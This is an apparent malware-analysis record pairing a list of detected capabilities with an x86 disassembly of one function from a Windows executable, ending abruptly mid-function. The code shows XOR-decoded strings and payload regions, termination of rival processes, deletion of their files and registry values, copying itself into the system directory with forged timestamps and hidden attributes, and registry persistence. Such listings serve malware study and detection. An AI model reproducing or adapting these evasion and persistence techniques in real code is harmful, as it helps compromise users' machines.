Function at 0x4033eb
Capabilities:
Accept command line arguments
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Delete file
Delete registry key
Delete registry value
Enumerate processes
Get common file path
Get file size
Get hostname
Get number of processors
Initialize winsock library
Link many functions at runtime
Query environment variable
Query or enumerate registry value
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Set registry value
Shutdown system
Terminate process
Terminate process by name
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov eax, 0x1678
push edi
push esi
push ebx
call fcn.00405c00
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0xc], 0
call sub.KERNEL32.DLL_GetProcessHeap
push 0x4120f0
mov dword [0x412290], eax
mov dword [0x4120f0], 0x94
call sub.KERNEL32.DLL_GetVersionExA
mov eax, 0x4107f3
cmp eax, 0x4107f9
jae 0x403451
xor byte [eax], 0xd4
inc eax
jmp 0x403444
mov eax, 0x4107e6
cmp eax, 0x4107f2
jae 0x403463
xor byte [eax], 0xd4
inc eax
jmp 0x403456
push 0x4107e6
call sub.KERNEL32.DLL_LoadLibraryA
cmp dword [0x412100], 2
mov ebx, eax
je 0x40349f
mov eax, 0x4107cf
cmp eax, 0x4107e5
jae 0x40348a
xor byte [eax], 0xd4
inc eax
jmp 0x40347d
push 0x4107cf
push ebx
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
je 0x40349f
push 1
push 0
call eax
push 0x104
lea eax, [esp + 0x156c]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
call sub.KERNEL32.DLL_GetCommandLineA
mov edx, 0x4107f3
call fcn.00401311
test eax, eax
je 0x4035a3
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [esp + 0xa0], eax
test eax, eax
je 0x4044a1
call sub.KERNEL32.DLL_GetCurrentProcessId
mov dword [esp + 0x9c], eax
lea eax, [esp + 0x9e8]
xor ebx, ebx
mov dword [esp + 0x9e8], 0x128
push eax
push dword [esp + 0xa4]
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x403539
mov eax, dword [esp + 0x9c]
cmp dword [esp + 0x9f0], eax
je 0x40358c
lea eax, [esp + 0x9e8]
push eax
push dword [esp + 0xa4]
call sub.KERNEL32.DLL_Process32Next
jmp 0x40350f
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
test ebx, ebx
je 0x4044a1
push 0xffffffffffffffff
push ebx
call sub.KERNEL32.DLL_WaitForSingleObject
push ebx
call sub.KERNEL32.DLL_CloseHandle
lea ebx, [esp + 0xb28]
push ebx
call sub.KERNEL32.DLL_GetStartupInfoA
lea eax, [esp + 0xb18]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x158c]
push eax
jmp 0x40449c
push dword [esp + 0xa00]
push 0
push 0x100000
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
jmp 0x403539
cmp dword [0x412100], 2
mov eax, 0x410723
jne 0x4037c7
mov eax, 0x4107bc
cmp eax, 0x4107ce
jae 0x4035c7
xor byte [eax], 0xd4
inc eax
jmp 0x4035ba
push 0x4107bc
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x412260], eax
mov eax, 0x4107b2
cmp eax, 0x4107bb
jae 0x4035e9
xor byte [eax], 0xd4
inc eax
jmp 0x4035dc
mov eax, 0x41079a
cmp eax, 0x4107b1
jae 0x4035fb
xor byte [eax], 0xd4
inc eax
jmp 0x4035ee
mov eax, 0x410785
cmp eax, 0x410799
jae 0x40360d
xor byte [eax], 0xd4
inc eax
jmp 0x403600
mov eax, 0x410774
cmp eax, 0x410784
jae 0x40361f
xor byte [eax], 0xd4
inc eax
jmp 0x403612
mov eax, 0x410761
cmp eax, 0x410773
jae 0x403631
xor byte [eax], 0xd4
inc eax
jmp 0x403624
push 0x41079a
push 0x4107b2
call sub.KERNEL32.DLL_LoadLibraryA
push eax
mov ebx, eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x410785
push ebx
mov dword [0x412220], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x410774
push ebx
mov dword [0x412230], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x410761
push ebx
mov dword [0x412240], eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x412250], eax
test eax, eax
mov edx, eax
je 0x403693
lea eax, [esp + 0xa7]
push eax
push 0
push 1
push 0x14
call edx
mov eax, 0x41074e
cmp eax, 0x410760
jae 0x4036a5
xor byte [eax], 0xd4
inc eax
jmp 0x403698
mov eax, 0x410736
cmp eax, 0x41074d
jae 0x4036b7
xor byte [eax], 0xd4
inc eax
jmp 0x4036aa
push 0x41074e
push ebx
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
mov esi, eax
je 0x40380d
push 0x410736
push ebx
call sub.KERNEL32.DLL_GetProcAddress
test eax, eax
mov edi, eax
je 0x40380d
lea eax, [esp + 0xa0]
push eax
push 8
push 0xffffffffffffffff
call esi
test eax, eax
js 0x40380d
lea esi, [esp + 0x9c]
mov eax, 0x2000
push esi
push 0x2000
call fcn.00401000
push eax
mov ebx, eax
push 2
push dword [esp + 0xb0]
call edi
test eax, eax
js 0x4037b2
mov dword [esp + 0x34], 0
mov ecx, dword [ebx]
cmp dword [esp + 0x34], ecx
jae 0x4037b2
mov edx, dword [esp + 0x34]
mov eax, dword [ebx + edx*8 + 8]
test al, 4
je 0x4037a9
test al, 0x10
jne 0x4037a9
mov edx, dword [ebx + edx*8 + 4]
movzx eax, byte [edx + 1]
mov eax, dword [edx + eax*4 + 4]
cmp eax, 0x220
je 0x403767
ja 0x403760
cmp eax, 0x200
jmp 0x403765
cmp eax, 0x223
jne 0x4037a9
mov byte [esp + 0xb], 0
push esi
push 0x2000
push ebx
push 1
push dword [esp + 0xb0]
mov byte [0x412020], 1
call edi
test eax, eax
js 0x40379c
mov eax, dword [ebx]
cmp byte [eax + 1], 1
jne 0x40379c
cmp dword [eax + 8], 0x12
jne 0x40379c
mov byte [esp + 0xb], 1
movzx edx, byte [esp + 0xb]
mov byte [0x412010], dl
jmp 0x4037b2
inc dword [esp + 0x34]
jmp 0x40372e
mov eax, ebx
call fcn.00401029
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40380d
cmp eax, 0x410735
jae 0x4037d4
xor byte [eax], 0xd4
inc eax
jmp 0x4037c7
push 0x410723
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov edx, eax
cmp dword [edx], 0xfff00068
je 0x4037ec
inc edx
jmp 0x4037e1
add edx, dword [edx + 7]
lea eax, [edx + 0xb]
mov dword [0x412270], eax
mov eax, dword fs:[0x30]
mov dword [0x412280], eax
call sub.KERNEL32.DLL_GetCurrentProcessId
xor dword [0x412280], eax
lea eax, [esp + 0xb78]
push eax
push 2
call sub.WS2_32.DLL_WSAStartup
call sub.KERNEL32.DLL_GetTickCount
mov ebx, eax
call sub.KERNEL32.DLL_GetCurrentProcessId
xor ebx, eax
call sub.KERNEL32.DLL_GetCurrentThreadId
shl eax, 0x10
xor ebx, eax
mov eax, 0x410716
mov dword [0x4122a0], ebx
cmp eax, 0x410722
jae 0x40384c
xor byte [eax], 0xd4
inc eax
jmp 0x40383f
push 0x410716
call sub.KERNEL32.DLL_LoadLibraryA
test eax, eax
mov ebx, eax
je 0x403880
mov eax, 0x410702
cmp eax, 0x410715
jae 0x40386e
xor byte [eax], 0xd4
inc eax
jmp 0x403861
push 0x410702
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4121b0], eax
jmp 0x40388a
mov dword [0x4121b0], 0
mov eax, 0x4106f5
cmp eax, 0x410701
jae 0x40389c
xor byte [eax], 0xd4
inc eax
jmp 0x40388f
push 0x4106f5
call sub.KERNEL32.DLL_LoadLibraryA
test eax, eax
mov ebx, eax
je 0x4038d0
mov eax, 0x4106e6
cmp eax, 0x4106f4
jae 0x4038be
xor byte [eax], 0xd4
inc eax
jmp 0x4038b1
push 0x4106e6
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x4121c0], eax
jmp 0x4038da
mov dword [0x4121c0], 0
mov eax, 0x4106dd
cmp eax, 0x4106e5
jae 0x4038ec
xor byte [eax], 0xd4
inc eax
jmp 0x4038df
mov eax, 0x4106a0
cmp eax, 0x4106dc
jae 0x4038fe
xor byte [eax], 0xd4
inc eax
jmp 0x4038f1
mov eax, 0x410640
cmp eax, 0x410687
jae 0x403910
xor byte [eax], 0xd4
inc eax
jmp 0x403903
mov eax, 0x410616
cmp eax, 0x410621
jae 0x403922
xor byte [eax], 0xd4
inc eax
jmp 0x403915
mov eax, 0x41060a
cmp eax, 0x410615
jae 0x403934
xor byte [eax], 0xd4
inc eax
jmp 0x403927
mov eax, 0x4105fe
cmp eax, 0x410609
jae 0x403946
xor byte [eax], 0xd4
inc eax
jmp 0x403939
push 0x4105fe
call sub.KERNEL32.DLL_LoadLibraryA
test eax, eax
mov ebx, eax
je 0x403a06
mov eax, 0x4105f0
cmp eax, 0x4105fd
jae 0x40396c
xor byte [eax], 0xd4
inc eax
jmp 0x40395f
mov eax, 0x4105df
cmp eax, 0x4105ef
jae 0x40397e
xor byte [eax], 0xd4
inc eax
jmp 0x403971
mov eax, 0x4105ce
cmp eax, 0x4105de
jae 0x403990
xor byte [eax], 0xd4
inc eax
jmp 0x403983
mov eax, 0x4105bb
cmp eax, 0x4105cd
jae 0x4039a2
xor byte [eax], 0xd4
inc eax
jmp 0x403995
mov eax, 0x4105a7
cmp eax, 0x4105ba
jae 0x4039b4
xor byte [eax], 0xd4
inc eax
jmp 0x4039a7
push 0x4105f0
push ebx
call sub.KERNEL32.DLL_GetProcAddress
push 0x4105df
push ebx
mov dword [0x4121d0], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x4105ce
push ebx
mov dword [0x4121e0], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x4105bb
push ebx
mov dword [0x4121f0], eax
call sub.KERNEL32.DLL_GetProcAddress
push 0x4105a7
push ebx
mov dword [0x412200], eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x412210], eax
jmp 0x403a10
mov dword [0x4121d0], 0
mov eax, 0x41059c
cmp eax, 0x4105a6
jae 0x403a22
xor byte [eax], 0xd4
inc eax
jmp 0x403a15
mov eax, 0x410592
cmp eax, 0x41059b
jae 0x403a34
xor byte [eax], 0xd4
inc eax
jmp 0x403a27
mov eax, 0x410584
cmp eax, 0x410591
jae 0x403a46
xor byte [eax], 0xd4
inc eax
jmp 0x403a39
mov eax, 0x410520
cmp eax, 0x410583
jae 0x403a58
xor byte [eax], 0xd4
inc eax
jmp 0x403a4b
mov eax, 0x41050f
cmp eax, 0x41051a
jae 0x403a6a
xor byte [eax], 0xd4
inc eax
jmp 0x403a5d
mov eax, 0x410504
cmp eax, 0x41050e
jae 0x403a7c
xor byte [eax], 0xd4
inc eax
jmp 0x403a6f
mov eax, 0x4104fb
cmp eax, 0x410503
jae 0x403a8e
xor byte [eax], 0xd4
inc eax
jmp 0x403a81
mov eax, 0x4104f0
cmp eax, 0x4104fa
jae 0x403aa0
xor byte [eax], 0xd4
inc eax
jmp 0x403a93
mov eax, 0x4104e6
cmp eax, 0x4104ef
jae 0x403ab2
xor byte [eax], 0xd4
inc eax
jmp 0x403aa5
mov eax, 0x4104d3
cmp eax, 0x4104e5
jae 0x403ac4
xor byte [eax], 0xd4
inc eax
jmp 0x403ab7
mov eax, 0x4104c0
cmp eax, 0x4104d2
jae 0x403ad6
xor byte [eax], 0xd4
inc eax
jmp 0x403ac9
mov eax, 0x4104a0
cmp eax, 0x4104bf
jae 0x403ae8
xor byte [eax], 0xd4
inc eax
jmp 0x403adb
mov eax, 0x410498
cmp eax, 0x41049d
jae 0x403afa
xor byte [eax], 0xd4
inc eax
jmp 0x403aed
mov eax, 0x410493
cmp eax, 0x410497
jae 0x403b0c
xor byte [eax], 0xd4
inc eax
jmp 0x403aff
mov eax, 0x410487
cmp eax, 0x410492
jae 0x403b1e
xor byte [eax], 0xd4
inc eax
jmp 0x403b11
mov eax, 0x410440
cmp eax, 0x410486
jae 0x403b30
xor byte [eax], 0xd4
inc eax
jmp 0x403b23
mov eax, 0x41041c
cmp eax, 0x410425
jae 0x403b42
xor byte [eax], 0xd4
inc eax
jmp 0x403b35
mov eax, 0x4103ff
cmp eax, 0x41041b
jae 0x403b54
xor byte [eax], 0xd4
inc eax
jmp 0x403b47
mov eax, 0x4103f4
cmp eax, 0x4103fe
jae 0x403b66
xor byte [eax], 0xd4
inc eax
jmp 0x403b59
mov eax, 0x4103eb
cmp eax, 0x4103f3
jae 0x403b78
xor byte [eax], 0xd4
inc eax
jmp 0x403b6b
mov eax, 0x4103df
cmp eax, 0x4103ea
jae 0x403b8a
xor byte [eax], 0xd4
inc eax
jmp 0x403b7d
mov eax, 0x4103d6
cmp eax, 0x4103de
jae 0x403b9c
xor byte [eax], 0xd4
inc eax
jmp 0x403b8f
mov eax, 0x4103cf
cmp eax, 0x4103d5
jae 0x403bae
xor byte [eax], 0xd4
inc eax
jmp 0x403ba1
mov eax, 0x410380
cmp eax, 0x4103ce
jae 0x403bc0
xor byte [eax], 0xd4
inc eax
jmp 0x403bb3
mov eax, 0x410320
cmp eax, 0x410371
jae 0x403bd2
xor byte [eax], 0xd4
inc eax
jmp 0x403bc5
mov eax, 0x4102e0
cmp eax, 0x410309
jae 0x403be4
xor byte [eax], 0xd4
inc eax
jmp 0x403bd7
mov eax, 0x4102bc
cmp eax, 0x4102c8
jae 0x403bf6
xor byte [eax], 0xd4
inc eax
jmp 0x403be9
mov eax, 0x4102b0
cmp eax, 0x4102bb
jae 0x403c08
xor byte [eax], 0xd4
inc eax
jmp 0x403bfb
mov eax, 0x4102a3
cmp eax, 0x4102af
jae 0x403c1a
xor byte [eax], 0xd4
inc eax
jmp 0x403c0d
mov eax, 0x410297
cmp eax, 0x4102a2
jae 0x403c2c
xor byte [eax], 0xd4
inc eax
jmp 0x403c1f
mov eax, 0x410288
cmp eax, 0x410296
jae 0x403c3e
xor byte [eax], 0xd4
inc eax
jmp 0x403c31
mov eax, 0x41027c
cmp eax, 0x410287
jae 0x403c50
xor byte [eax], 0xd4
inc eax
jmp 0x403c43
mov eax, 0x410240
cmp eax, 0x41027b
jae 0x403c62
xor byte [eax], 0xd4
inc eax
jmp 0x403c55
mov eax, 0x410228
cmp eax, 0x410230
jae 0x403c74
xor byte [eax], 0xd4
inc eax
jmp 0x403c67
mov eax, 0x41021a
cmp eax, 0x410227
jae 0x403c86
xor byte [eax], 0xd4
inc eax
jmp 0x403c79
mov eax, 0x41020c
cmp eax, 0x410219
jae 0x403c98
xor byte [eax], 0xd4
inc eax
jmp 0x403c8b
mov eax, 0x4101ee
cmp eax, 0x41020b
jae 0x403caa
xor byte [eax], 0xd4
inc eax
jmp 0x403c9d
mov eax, 0x4101e3
cmp eax, 0x4101ed
jae 0x403cbc
xor byte [eax], 0xd4
inc eax
jmp 0x403caf
mov eax, 0x4101c0
cmp eax, 0x4101e2
jae 0x403cce
xor byte [eax], 0xd4
inc eax
jmp 0x403cc1
mov eax, 0x41019b
cmp eax, 0x4101a5
jae 0x403ce0
xor byte [eax], 0xd4
inc eax
jmp 0x403cd3
mov eax, 0x41018d
cmp eax, 0x41019a
jae 0x403cf2
xor byte [eax], 0xd4
inc eax
jmp 0x403ce5
mov eax, 0x410183
cmp eax, 0x41018c
jae 0x403d04
xor byte [eax], 0xd4
inc eax
jmp 0x403cf7
mov eax, 0x410176
cmp eax, 0x410182
jae 0x403d16
xor byte [eax], 0xd4
inc eax
jmp 0x403d09
mov eax, 0x410169
cmp eax, 0x410175
jae 0x403d28
xor byte [eax], 0xd4
inc eax
jmp 0x403d1b
mov eax, 0x41015c
cmp eax, 0x410168
jae 0x403d3a
xor byte [eax], 0xd4
inc eax
jmp 0x403d2d
mov eax, 0x410150
cmp eax, 0x41015b
jae 0x403d4c
xor byte [eax], 0xd4
inc eax
jmp 0x403d3f
mov eax, 0x410144
cmp eax, 0x41014f
jae 0x403d5e
xor byte [eax], 0xd4
inc eax
jmp 0x403d51
mov eax, 0x410136
cmp eax, 0x410143
jae 0x403d70
xor byte [eax], 0xd4
inc eax
jmp 0x403d63
mov eax, 0x41012c
cmp eax, 0x410135
jae 0x403d82
xor byte [eax], 0xd4
inc eax
jmp 0x403d75
mov eax, 0x410124
cmp eax, 0x41012b
jae 0x403d94
xor byte [eax], 0xd4
inc eax
jmp 0x403d87
mov eax, 0x41011c
cmp eax, 0x410123
jae 0x403da6
xor byte [eax], 0xd4
inc eax
jmp 0x403d99
mov eax, 0x4100e0
cmp eax, 0x41011b
jae 0x403db8
xor byte [eax], 0xd4
inc eax
jmp 0x403dab
mov eax, 0x410060
cmp eax, 0x4100d0
jae 0x403dca
xor byte [eax], 0xd4
inc eax
jmp 0x403dbd
mov eax, 0x410050
cmp eax, 0x41005e
jae 0x403ddc
xor byte [eax], 0xd4
inc eax
jmp 0x403dcf
mov eax, 0x41004b
cmp eax, 0x41004f
jae 0x403dee
xor byte [eax], 0xd4
inc eax
jmp 0x403de1
mov eax, 0x410040
cmp eax, 0x41004a
jae 0x403e00
xor byte [eax], 0xd4
inc eax
jmp 0x403df3
mov eax, 0x40fa40
cmp eax, 0x410040
jae 0x403e12
xor byte [eax], 0x4d
inc eax
jmp 0x403e05
mov eax, 0x40e640
cmp eax, 0x40fa40
jae 0x403e24
xor byte [eax], 0x4d
inc eax
jmp 0x403e17
mov eax, 0x408840
cmp eax, 0x40e640
jae 0x403e36
xor byte [eax], 0x4d
inc eax
jmp 0x403e29
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x1580]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x403eb2
cmp eax, 0xffffffff
je 0x403eb2
push 2
push 0
push 0xfffffffffffffff0
push eax
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [esp + 0xa0]
push eax
push 0x10
push 0x4120e0
push dword [esp + 0xb0]
call sub.KERNEL32.DLL_ReadFile
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [0x4120e0], 0
jne 0x403eb2
call fcn.004010b2
mov dword [0x4120e0], eax
mov dword [esp + 0x20], 1
mov eax, 0x40881e
cmp eax, 0x408822
jae 0x403ec4
xor byte [eax], 0xd4
inc eax
jmp 0x403eb7
mov eax, 0x408819
cmp eax, 0x40881d
jae 0x403ed6
xor byte [eax], 0xd4
inc eax
jmp 0x403ec9
mov eax, dword [0x4120e0]
lea edx, [esp + 0x9c]
mov dword [esp + 0x9c], eax
mov eax, 0x40881e
call fcn.00401f84
mov dword [0x412090], eax
lea edx, [esp + 0x9c]
mov eax, 0x40881e
call fcn.00401f84
mov dword [0x4120a0], eax
lea edx, [esp + 0x9c]
mov eax, 0x40881e
call fcn.00401f84
mov dword [0x4120b0], eax
lea edx, [esp + 0x9c]
mov eax, 0x408819
call fcn.00401f84
mov dword [0x4120c0], eax
lea edx, [esp + 0x9c]
mov eax, 0x408819
call fcn.00401f84
push dword [0x4120b0]
mov dword [0x4120d0], eax
lea eax, [esp + 0x156c]
call fcn.004010dc
push eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
sete al
movzx eax, al
mov dword [esp + 0x1c], eax
mov eax, 0x40880e
cmp eax, 0x408818
jae 0x403f86
xor byte [eax], 0xd4
inc eax
jmp 0x403f79
mov eax, 0x4087c0
cmp eax, 0x40880d
jae 0x403f98
xor byte [eax], 0xd4
inc eax
jmp 0x403f8b
mov eax, 0x408798
cmp eax, 0x4087a5
jae 0x403faa
xor byte [eax], 0xd4
inc eax
jmp 0x403f9d
mov dword [esp + 0x34], 1
push dword [esp + 0x34]
push str._02X
push 0x408816
call sub.USER32.dll_wsprintfA
push 0x40880e
push 1
push 0x408778
call sub.KERNEL32.DLL_CreateMutexA
mov dword [esp + 0x1c], eax
add esp, 0xc
test eax, eax
je 0x40427e
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x40426e
cmp dword [esp + 0x34], 0x11
jg 0x40425a
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
test eax, eax
mov ebp, eax
je 0x40416b
lea eax, [esp + 0x1f8]
call fcn.004030de
mov dword [esp + 4], eax
test eax, eax
je 0x40405a
push 0x41018d
push eax
call sub.ADVAPI32.DLL_RegDeleteValueA
push dword [esp + 4]
call sub.ADVAPI32.DLL_RegCloseKey
lea esi, [esp + 0x21a]
lea edx, [esp + 0x31e]
cmp esi, edx
jae 0x40405a
movzx eax, byte [esp + 0x1f8]
xor byte [esi], al
inc esi
jmp 0x404049
call sub.KERNEL32.DLL_GetCurrentProcessId
mov dword [esp + 0x428], 0x128
mov ebx, eax
lea eax, [esp + 0x428]
push eax
xor edi, edi
push ebp
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4040ea
cmp dword [esp + 0x430], ebx
je 0x4040da
push dword [0x4120b0]
lea eax, [esp + 0x450]
call fcn.004010dc
push eax
mov esi, eax
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
je 0x4040b6
push 0x41059c
push esi
call sub.KERNEL32.DLL_lstrcmpiA
test eax, eax
jne 0x4040da
push dword [esp + 0x430]
push 0
push 0x100201
call sub.KERNEL32.DLL_OpenProcess
mov dword [esp + edi*4 + 0x558], eax
test eax, eax
je 0x4040da
inc edi
cmp edi, 9
ja 0x4040ea
lea eax, [esp + 0x428]
push eax
push ebp
call sub.KERNEL32.DLL_Process32Next
jmp 0x40407c
push ebp
xor ebx, ebx
call sub.KERNEL32.DLL_CloseHandle
cmp ebx, edi
jge 0x404107
push 0x40
push dword [esp + ebx*4 + 0x55c]
inc ebx
call sub.KERNEL32.DLL_SetPriorityClass
jmp 0x4040f2
mov esi, 4
xor ebx, ebx
cmp ebx, edi
jge 0x404123
push 0
push dword [esp + ebx*4 + 0x55c]
inc ebx
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x40410e
dec esi
jns 0x40410c
xor ebx, ebx
cmp ebx, edi
jge 0x40414c
push 0x1388
push dword [esp + ebx*4 + 0x55c]
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [esp + ebx*4 + 0x558]
inc ebx
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404128
cmp dword [esp + 4], 0
je 0x40416b
push pe_nt_image_headers32
lea ebx, [esp + 0x21e]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push ebx
call sub.KERNEL32.DLL_DeleteFileA
cmp dword [esp + 0x34], 0xb
jg 0x404275
lea eax, [esp + 0x98]
push eax
push 0x20019
push 0
push 0x4087c0
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x404275
mov dword [esp + 0x30], 0
push 0
lea eax, [esp + 0x98]
push eax
push 0x408778
push 0xf003f
push 0
push 0
push 0
push 0x4087c0
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x40424c
mov dword [esp + 0x9c], 0x12
lea eax, [esp + 0x9c]
push eax
push 0x412190
push 0
push 0
push 0x408798
push dword [esp + 0xac]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x40422a
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push dword [esp + 0xa8]
call sub.ADVAPI32.DLL_RegSetValueExA
test eax, eax
sete al
movzx eax, al
mov dword [esp + 0x30], eax
push dword [esp + 0x94]
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [esp + 0x30], 0
jne 0x40424c
push 0x4087c0
push 0x80000002
call sub.ADVAPI32.DLL_RegDeleteKeyA
push dword [esp + 0x98]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x404275
cmp dword [esp + 0x1c], 0
jne 0x4044a1
push 0
call fcn.0040265f
jmp 0x404275
cmp dword [esp + 0x34], 0x11
jg 0x404287
push dword [esp + 0x10]
call sub.KERNEL32.DLL_CloseHandle
inc dword [esp + 0x34]
jmp 0x403fb2
push 0x104
lea ebx, [esp + 0x134c]
push ebx
push 0x41041c
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x4042f7
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
cmp eax, 0xffffffff
mov edx, eax
je 0x4042f7
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
push edx
call sub.KERNEL32.DLL_GetFileTime
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
mov dword [esp + 0xc], 1
cmp dword [esp + 0x1c], 0
jne 0x4044af
push 0x100
lea ebx, [esp + 0x145c]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [0x4120b0]
push 0x41103e
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
lea esi, [esp + 0x1568]
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
jne 0x4043b6
push 0x104
push ebx
push dword [0x4120b0]
push 0x4103ff
lea edi, [esp + 0x1358]
push edi
call sub.KERNEL32.DLL_lstrcpyA
push eax
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x40437a
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
jne 0x4043b6
push 0x104
push ebx
push dword [0x4120b0]
push 0x4103f4
push edi
call sub.KERNEL32.DLL_lstrcpyA
push eax
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_ExpandEnvironmentStringsA
test eax, eax
je 0x4044a8
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
je 0x4044a8
cmp dword [esp + 0x20], 0
je 0x40440d
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [esp + 0x1470]
push eax
call sub.KERNEL32.DLL_CreateFileA
test eax, eax
mov ebx, eax
je 0x40440d
cmp eax, 0xffffffff
je 0x40440d
push 2
push 0
push 0xfffffffffffffff0
push eax
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [esp + 0xa0]
push eax
push 4
push 0x4120e0
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
cmp dword [esp + 0xc], 0
je 0x40445f
push 0
push 0
push 3
push 0
push 1
push 0x80000100
lea eax, [esp + 0x1470]
push eax
call sub.KERNEL32.DLL_CreateFileA
test eax, eax
mov ebx, eax
je 0x40445f
cmp eax, 0xffffffff
je 0x40445f
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
push ebx
call sub.KERNEL32.DLL_SetFileTime
push ebx
call sub.KERNEL32.DLL_CloseHandle
push 0x21
lea esi, [esp + 0x145c]
push esi
call sub.KERNEL32.DLL_SetFileAttributesA
push dword [esp + 0x10]
call sub.KERNEL32.DLL_CloseHandle
lea ebx, [esp + 0xb28]
push ebx
call sub.KERNEL32.DLL_GetStartupInfoA
lea eax, [esp + 0xb18]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.KERNEL32.DLL_CreateProcessA
push 0
call sub.KERNEL32.DLL_ExitProcess
mov byte [section..bss], 1
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x1580]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404517
cmp eax, 0xffffffff
je 0x404517
push 0
push eax
call sub.KERNEL32.DLL_GetFileSize
mov ebp, eax
call fcn.00401000
mov dword [esp + 0x14], eax
push 0
lea eax, [esp + 0xa0]
push eax
push ebp
push dword [esp + 0x20]
push dword [esp + 0xb0]
call sub.KERNEL32.DLL_ReadFile
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404521
mov dword [esp + 0x14], 0
xor ebp, ebp
lea eax, [esp + 0x9c]
push eax
push 0
lea eax, [esp + 0x1570]
push eax
push 0x401038
push 0x1000
push 0
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0x408720
cmp eax, 0x408776
jae 0x40455c
xor byte [eax], 0xd4
inc eax
jmp 0x40454f
mov eax, 0x407b20
cmp eax, 0x408720
jae 0x40456e
xor byte [eax], 0x4d
inc eax
jmp 0x404561
cmp dword [0x412100], 2
jne 0x4047c9
lea eax, [esp + 0x98]
push eax
push 0x408720
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x4047c9
push 0x104
lea ebx, [esp + 0x123c]
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [0x4120a0]
push 0x41103e
push ebx
call sub.KERNEL32.DLL_lstrcatA
push eax
call sub.KERNEL32.DLL_lstrcatA
mov eax, 0x407ae0
cmp eax, 0x407b06
jae 0x4045d5
xor byte [eax], 0xd4
inc eax
jmp 0x4045c8
push 0x407ae0
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [esp + 0xa0], eax
test eax, eax
je 0x404607
push 0x2710
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
push dword [esp + 0xa0]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x404611
push 0x7d0
call sub.KERNEL32.DLL_Sleep
push pe_nt_image_headers32
lea ebx, [esp + 0x123c]
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0
